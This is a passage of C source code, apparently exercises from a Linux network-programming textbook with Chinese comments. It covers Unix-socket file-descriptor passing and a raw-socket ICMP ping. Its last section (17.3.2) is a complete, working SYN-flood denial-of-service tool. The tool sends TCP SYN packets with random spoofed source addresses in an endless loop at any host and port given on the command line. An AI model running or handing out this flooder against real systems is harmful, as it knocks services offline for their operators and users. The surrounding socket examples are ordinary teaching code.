	sock_fd = create_local_server_sock(SOCK_FILE);
	if (!sock_fd) {
		fprintf(stderr, "sock_fd create failed.\n");
		return EXIT_FAILURE;
	}
	if (send_fd(sock_fd, argv[1]) != 1) {
		printf("send error");
		return EXIT_FAILURE;
	}
	return 0;
}

static int create_local_client_sock(char *sockfile)
{
	int local_fd=0;
	struct sockaddr_un serveraddr;

	if (-1 == (local_fd = socket(AF_LOCAL, SOCK_STREAM, 0))) {
		perror("socket");
		return EXIT_FAILURE;
	}

	bzero(&serveraddr,sizeof(serveraddr));
	serveraddr.sun_family=AF_LOCAL;
	strncpy(serveraddr.sun_path, sockfile,strlen(sockfile));

	if (-1 == connect(local_fd, (struct sockaddr *)&serveraddr, sizeof(serveraddr))) {
		perror("connect");
		return EXIT_FAILURE;
	}
	return local_fd;
}

static int recv_fd(int fd, int *fd_from_recv,char *buf,int len)
{
	//create control msg
	struct cmsghdr *cmsg = alloca(sizeof(struct cmsghdr) + sizeof(fd_from_recv));
	cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(int);
	cmsg->cmsg_level = SOL_SOCKET;
	cmsg->cmsg_type = SCM_RIGHTS;
	//create data msg
	struct iovec iov[3];
	iov[0].iov_base = buf;
	iov[0].iov_len = len;
	//create msg
	struct msghdr msg;
	msg.msg_control = cmsg;
	msg.msg_controllen = cmsg->cmsg_len;
	msg.msg_name = NULL;
	msg.msg_namelen = 0;
	msg.msg_iov = iov;
	msg.msg_iovlen =3;

	if (recvmsg(fd, &msg, 0) < 0) {
		printf("recvmsg error, errno is %d\n", errno);
		fprintf(stderr, "recvmsg failed.  errno : %s\n", strerror(errno));
		return errno;
	}

	memcpy(fd_from_recv, CMSG_DATA(cmsg), sizeof(int));
	if (msg.msg_controllen != cmsg->cmsg_len) {
		fprintf(stderr, "recvmsg fd_from_recv error\n");
		*fd_from_recv = -1;
		return -1;
	}
	return 0;
}

int send_fd_client(int argc, char *argv[])
{
	int sock_fd = 0;
	int file_fd;
	char ptr[] = "now write data to file\n";
	char buf[129];

	memset(buf, '\0', 128);
	sock_fd = create_local_client_sock(SOCK_FILE);
	if (!sock_fd) {
		fprintf(stderr, "sock_fd create error.\n");
		return -1;
	}

	if (0 != recv_fd(sock_fd, &file_fd, buf, sizeof(buf)-1)) {
		fprintf(stderr, "recv_fd error.\n");
		unlink(SOCK_FILE);
		return -1;
	}
	printf("recv message:%s\n", buf);

	if (0 >= write(file_fd, ptr, strlen(ptr))) {
		perror("write");
		unlink(SOCK_FILE);
		return -1;
	}
	write(file_fd, buf, strlen(buf));
	unlink(SOCK_FILE);
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 17.3.1-raw套接字实现-ping程序{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
#define MAX_NO_PACKETS    4
#define MAX_WAIT_TIME     5
#define PACKET_SIZE       4096
#define DATA_LEN          56

char g_sendpacket[PACKET_SIZE] = {0};
char g_recvpacket[PACKET_SIZE] = {0};
int g_nsend = 0;
int g_nreceived=0;
struct timeval g_tvrecv;
struct sockaddr_in g_from;

//显示结果
static void statistics(int signo)
{
	printf("\n--------------------PING statistics-------------------\n");
	printf("%d packets transmitted, %d received , %%%f lost\n", g_nsend, g_nreceived, (g_nsend-g_nreceived)*1.0/g_nsend*100);
	exit(1);
}

//计算校验和
static unsigned short cal_checksum(unsigned short *addr, int len)
{
	int sum = 0;
	int nleft = len;
	unsigned short *w = addr;
	unsigned short answer = 0;

	while (nleft > 1) {
		sum += *w++;
		nleft -= 2;
	}

	if (nleft == 1) {
		*(unsigned char *)(&answer) = *(unsigned char *)w;
		sum += answer;
	}

	sum = (sum>>16) + (sum&0xffff);
	sum += (sum>>16);
	answer = ~sum;

	return answer;
}

//时间差计算函数, 结果赋到out
static void tv_sub(struct timeval *out, struct timeval *in)
{
	//usec
	if (0 > (out->tv_usec -= in->tv_usec)) {
		--out->tv_sec;
		out->tv_usec+=1000000;
	}
	//sec
	out->tv_sec -= in->tv_sec;
}

//ICMP组包函数
static int pack(int pack_no,int pid)
{
	int packsize;
	struct icmp *icmp = NULL;
	struct timeval *tval = NULL;

	//组ICMP包
	icmp = (struct icmp*)g_sendpacket;
	icmp->icmp_type = ICMP_ECHO;
	icmp->icmp_code = 0;
	icmp->icmp_cksum = 0;
	icmp->icmp_seq = pack_no;
	icmp->icmp_id = pid;
	packsize = (8 + DATA_LEN);
	//data字段填timestamp
	tval = (struct timeval *)icmp->icmp_data;
	gettimeofday(tval, NULL);

	icmp->icmp_cksum = cal_checksum((unsigned short *)icmp, packsize);
	return packsize;
}

//ICMP拆包函数
static int unpack(char *buf, int len, int pid)
{
	double rtt; //回环时间RTT
	struct timeval *tvsend = NULL;
	struct ip *ip = (struct ip *)buf;
	int iphdrlen = (ip->ip_hl << 2); //取ip包的头部长度字段
	struct icmp *icmp = (struct icmp *)(buf + iphdrlen);

	len -= iphdrlen; //总长度减去IP包头长度
	if (len < 8) {
		//ICMP包头长度至少为8Byte
		fprintf(stderr, "ICMP packets\'s length is less than 8\n");
		return -1;
	}

	//ICMP包类型校验，进程匹配检查
	if ((icmp->icmp_type == ICMP_ECHOREPLY) && (icmp->icmp_id == pid)) {
		tvsend = (struct timeval *)icmp->icmp_data;
		tv_sub(&g_tvrecv, tvsend);
		rtt = (g_tvrecv.tv_sec*1000 + g_tvrecv.tv_usec/1000); //单位 ms
		printf("%d byte from %s: icmp_seq=%u ttl=%d rtt=%.3f ms\n", len, inet_ntoa(g_from.sin_addr), icmp->icmp_seq, ip->ip_ttl, rtt);
	} else {
		return -1;
	}
	return 0;
}

//发送icmp包
static void send_one_packet(int sockfd, int pid, struct sockaddr_in dest_addr)
{
	int packetsize = 0;

	g_nsend++;
	packetsize = pack(g_nsend, pid);
	if (0 > sendto(sockfd, g_sendpacket, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr))) {
		perror("sendto error");
	}
}

//接收icmp回应包
static void recv_one_packet(int sockfd, int pid)
{
	int n;
	int fromlen = sizeof(g_from);

	signal(SIGALRM, statistics); //注册定时回调函数

	alarm(MAX_WAIT_TIME); //开启定时器

	//recvfrom也可以设置阻塞时间timeout
	if (0 > (n = recvfrom(sockfd, g_recvpacket, sizeof(g_recvpacket), 0, (struct sockaddr *)&g_from, (socklen_t *)&fromlen))) {
		if(errno == EINTR) {
			return;
		}
		perror("recvfrom error");
		return;
	}

	gettimeofday(&g_tvrecv, NULL);
	if (-1 == unpack(g_recvpacket, n, pid)){
		return;
	}
	g_nreceived++;
}

int raw_icmp_ping(int argc, char *argv[])
{
	pid_t pid = getpid();
	int i;
	int sockfd;
	struct sockaddr_in dest_addr;
	struct hostent *host = NULL;
	struct protoent *protocol = NULL;
	unsigned long inaddr = 0l;
	int size = 50*1024; //recv buff size

	if (argc < 2) {
		printf("usage:%s hostname/IP address\n",argv[0]);
		return 1;
	}
	//获取root执行权限,运行程序时使用root执行
	setuid(getuid());
	//配置目的地址
	bzero(&dest_addr, sizeof(dest_addr));
	dest_addr.sin_family = AF_INET;
	if ((inaddr = inet_addr(argv[1])) == INADDR_NONE) {
		/*if ping a hostname, get the ip used gethostbyname */
		if ((host = gethostbyname(argv[1]) ) == NULL) {
			perror("gethostbyname error");
			return 1;
		}
		memcpy((char *)&(dest_addr.sin_addr), host->h_addr, host->h_length);
	} else {
		/*ping a ip address*/
		memcpy((char *)&(dest_addr.sin_addr), (char *)&inaddr, sizeof(inaddr));
	}

	//获取icmp协议描述符
	if ((protocol = getprotobyname("icmp")) == NULL) {
		perror("getprotobyname");
		return 1;
	}
	//create raw sockfd, 需要root, 并设置recv buff size
	if (0 > (sockfd = socket(AF_INET, SOCK_RAW, protocol->p_proto))) {
		perror("socket error");
		return 1;
	}
	setsockopt(sockfd, SOL_SOCKET, SO_RCVBUF, &size, sizeof(size));

	signal(SIGINT, statistics); //注册终止程序时的回调

	printf("PING %s(%s): %d bytes data in ICMP packets.\n", argv[1], inet_ntoa(dest_addr.sin_addr), DATA_LEN);
	for (i=0; i<MAX_NO_PACKETS; i++) {
		send_one_packet(sockfd, pid, dest_addr); //ping
		recv_one_packet(sockfd, pid); //recv ping echo
	}
	statistics(SIGALRM); //主动调用回调, show result

	close(sockfd);
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 17.3.2-raw套接字实现-DOS攻击{{{
 *               : 使用raw套接字一直向目标主机发送随机IP的TCP-SYN报文,破坏TCP3次握手;
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
static void send_data(int sockfd, struct sockaddr_in *addr, char *port)
{
	char buffer[128] = {0};
	struct iphdr *ip = (struct iphdr *)buffer;
	struct tcphdr *tcp = (struct tcphdr *)(buffer + sizeof(struct ip));
	int head_len = sizeof(struct iphdr) + sizeof(struct tcphdr);

	//封装IP头部
	ip->version  = IPVERSION;
	ip->ihl      = sizeof(struct ip)>>2;
	ip->tos      = 0;
	ip->tot_len  = htons(head_len);
	ip->id       = 0;
	ip->frag_off = 0;
	ip->ttl      = MAXTTL;
	ip->protocol = IPPROTO_TCP;
	ip->check    = 0;
	ip->daddr    = addr->sin_addr.s_addr;

	//封装TCP头部
	tcp->source  = htons(atoi(port));
	tcp->dest    = addr->sin_port;
	tcp->seq     = random(); //随机序号
	tcp->ack_seq = 0;
	tcp->doff    = 5;
	tcp->syn     = 1; //SYN握手请求包
	tcp->check   = 0;

	while(1) {
		//生成随机数作为每个包的src IP
		ip->saddr = random();
		//由于src IP改变, 需要重新计算校验和
		tcp->check = 0;
		tcp->check = cal_checksum((unsigned short *)tcp, sizeof(struct tcphdr));
		sendto(sockfd, buffer, head_len, 0, (struct sockaddr *)addr, (socklen_t)sizeof(struct sockaddr_in));
		/*usleep(500);*/
	}
}

// Usage: raw_DOS_exp <des_hostname/IP> <des_port> <local_port>
int raw_DOS_exp(int argc,char *argv[])
{
	int sockfd;
	struct sockaddr_in addr = {0};
	struct hostent *host = NULL;
	int on = 1;

	if (argc != 4) {
		fprintf(stderr, "Usage:%s <des_hostname/ip> <des_port> <local_port>\n", argv[0]);
		return EXIT_FAILURE;
	}

	//配置目标地址
	addr.sin_family = AF_INET;
	if (inet_aton(argv[1], &addr.sin_addr) == 0) {
		//argv[1] is hostname
		host = gethostbyname(argv[1]);
		if (host == NULL) {
			fprintf(stderr, "HostName Error:%s\n\a", hstrerror(h_errno));
			return EXIT_FAILURE;
		}
		addr.sin_addr = *(struct in_addr *)(host->h_addr_list[0]);
	}
	addr.sin_port = htons(atoi(argv[2]));

	//创建tcp协议的raw socket
	sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
	if(sockfd < 0) {
		fprintf(stderr, "Socket Error:%s\n\a", strerror(errno));
		return EXIT_FAILURE;
	}
	if (-1 == setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on))) {
		perror("setsockopt");
		return EXIT_FAILURE;
	}

	//in loop send
	send_data(sockfd, &addr, argv[3]);
	return EXIT_SUCCESS;
}
/*}}}*/

/***************************************************************************************
 * Description   : 18-音频设备编程 (略)
 ***************************************************************************************/


